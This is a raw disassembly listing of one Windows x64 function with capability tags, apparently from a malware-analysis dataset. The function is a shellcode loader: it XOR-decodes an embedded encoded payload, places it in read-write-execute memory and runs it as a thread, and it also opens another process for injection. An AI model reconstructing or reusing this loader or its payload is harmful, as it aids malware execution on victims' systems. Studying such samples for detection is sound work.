Function at 0x140004390
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x198
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rsp + 0x188], rax
mov byte [rsp + 0x6c], 0
lea rdx, str.9ECL7PjgwAgICElZSVhaWV5AOdptQINaaECDWhBAg1ooQIN6WEAHv0JCRTnBQDnIpDRpdAokKEnJwQVJCcnq5VpJWUCDWiiDSjRACdhuiXAQAwp9eoOIgAgICECNyHxvQAnYWINAEEyDSChBCdjrXkD3wUmDPIBACd5FOcFAOcikScnBBUkJyTDofflEC0QsAE0x2X3QUEyDSCxBCdhuSYMEQEyDSBRBCdhJgwyAQAnYSVBJUFZRUklQSVFJUkCL5ChJWvfoUElRUkCDGuFH9_f3VWIIQbZ_YWZhZm18CEleQYHuRIH5SbJEfy4P991AOcFAOdpFOchFOcFJWElYSbIyXnGv993je1JAgclJsIorCAhFOcFJWUlZYgtJWUmyX4GXzvfd41FTQIHJQDnaQYHQRTnBWmAICkiMWlpJsuNdJjP33UCBzkCLy1hiAldAgflAgdJBz8j39_f3RTnBWlpJsiUOEHP33Y3IB42VCQgIQPfHB4yECQgI49vh7AkICOCq9_f3J2RcOWQIS_yNB5NRStRtc_LMpB5eeVKUs75N06ZmQNiEXcJ3mMfspE1Amlj2TSBp5CbqqId9Z0jjyNCsO3lvm8g5G_1P9rz6RYI2eZEwhde216JUlvbWZ8MihFZ3JhZGRpJz0mOCgga2dleGl8YWpkbTMoRVtBTSgxJjgzKF9hZmxnf3soRlwoPiY4MyhcemFsbWZ8Jz0mODMoSkdBTTEzTUZdW0VbRkFYIQUCCBbGxoyhwqf_osHrgytWm5LpLIQyTuX6r0sJjs93fqfK6sxRhEKikkd2xucwQx1lJ7kJKXMgFjKG8peZddy5ra0rB1oNsjnXe0k2PhSyIqXlQhKiec6qPIRdyVJ1tAVzMmxbgCRYfVUFbfvI7XjnfZowuwI9WK39gFHvE1dwo05Jr5N1AoXEKIqJREE0s7vIb_3_mfAWNyALeuLjHWoHUfwaWIkpLLjritCim0c81_KKHWH72HjN8cSUmE5kJ_95wqMBghpRkhhV3A2NBZUwISbb4vape991AOcGyCAhICEmwCBgICEmxSAgICEmyUKxb7ffdQJtbW0CB70CBUCB0kmwCCgICEGB8UmyGp6B6vfdQIvMKI3IfL5ugw9ACcuNyH3fUFBQQA0ICAgIWMvgl_X39zkxOiY5PjAmOjg_Jjk7PghBngra
lea rcx, [rsp + 0x138]
call fcn.140001b10
nop
lea r9, [0x140008484]
lea r8, [0x14000895c]
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0x118]
call fcn.140003a50
nop
xor r8d, r8d
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0xf8]
call fcn.140001780
nop
lea rcx, [rsp + 0xf8]
call fcn.140004b70
mov qword [rsp + 0xb8], rax
mov r8d, 0x21f8
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x158]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x15c]
mov dword [rsp + 0x84], eax
mov eax, dword [rsp + 0x180]
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x80]
mov qword [rsp + 0xc8], rax
mov eax, dword [rsp + 0x84]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0xf8]
call fcn.140001900
xor edx, edx
div qword [rsp + 0xc8]
inc rax
mov dword [rsp + 0x68], eax
xor edx, edx
mov rax, qword [rsp + 0xc8]
div qword [rsp + 0x78]
mov dword [rsp + 0xa0], eax
mov r9d, dword [rsp + 0x68]
mov r8d, dword [rsp + 0xc8]
mov edx, dword [rsp + 0x78]
mov rcx, qword [rsp + 0x88]
call fcn.140003cc0
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0x74], 0
mov edx, 0x18
lea rcx, [rsp + 0xe0]
call fcn.140003560
lea rcx, [rsp + 0xe0]
call fcn.140004ad0
nop
mov dword [rsp + 0x70], 1
jmp 0x14000451e
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x68]
cmp dword [rsp + 0x70], eax
ja 0x1400045b4
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x2000
lea r9, [rsp + 0xc8]
xor r8d, r8d
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0x88]
call fcn.1400069e2
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0
jne 0x14000457e
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0xe0]
call fcn.140004890
jmp 0x140004591
lea rdx, str.AVM_error
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140005330
mov rax, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0], rax
jmp 0x140004514
mov dword [rsp + 0xa4], 0
xorps xmm0, xmm0
movsd qword [rsp + 0xc0], xmm0
mov dword [rsp + 0x64], 0
jmp 0x1400045df
mov eax, dword [rsp + 0x64]
inc eax
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x68]
cmp dword [rsp + 0x64], eax
jae 0x14000472e
mov rcx, qword [rsp + 0x78]
call fcn.140006d30
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x60], 0
jmp 0x140004623
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
movsxd rax, dword [rsp + 0x60]
cmp rax, qword [rsp + 0x78]
jae 0x140004666
movsxd rax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x78]
imul rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x60]
add rcx, qword [rsp + 0xb8]
movsx eax, byte [rcx + rax]
xor eax, 8
movsxd rcx, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x90]
mov byte [rdx + rcx], al
jmp 0x140004619
mov eax, dword [rsp + 0x68]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0xf8]
call fcn.140001900
mov rdi, qword [rsp + 0x98]
mov rsi, qword [rsp + 0x90]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0xd8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x20], rcx
mov r9, rax
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0xd8]
call fcn.140006981
mov edx, 0xffffffff
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x1400045d5
lea rcx, [rsp + 0xe0]
call fcn.1400049f0
nop
lea rcx, [rsp + 0xf8]
call fcn.140001a80
nop
lea rcx, [rsp + 0x118]
call fcn.140001a80
nop
lea rcx, [rsp + 0x138]
call fcn.140001a80
xor eax, eax
mov rcx, qword [rsp + 0x188]
xor rcx, rsp
call fcn.140006a50
add rsp, 0x198
pop rdi
pop rsi
ret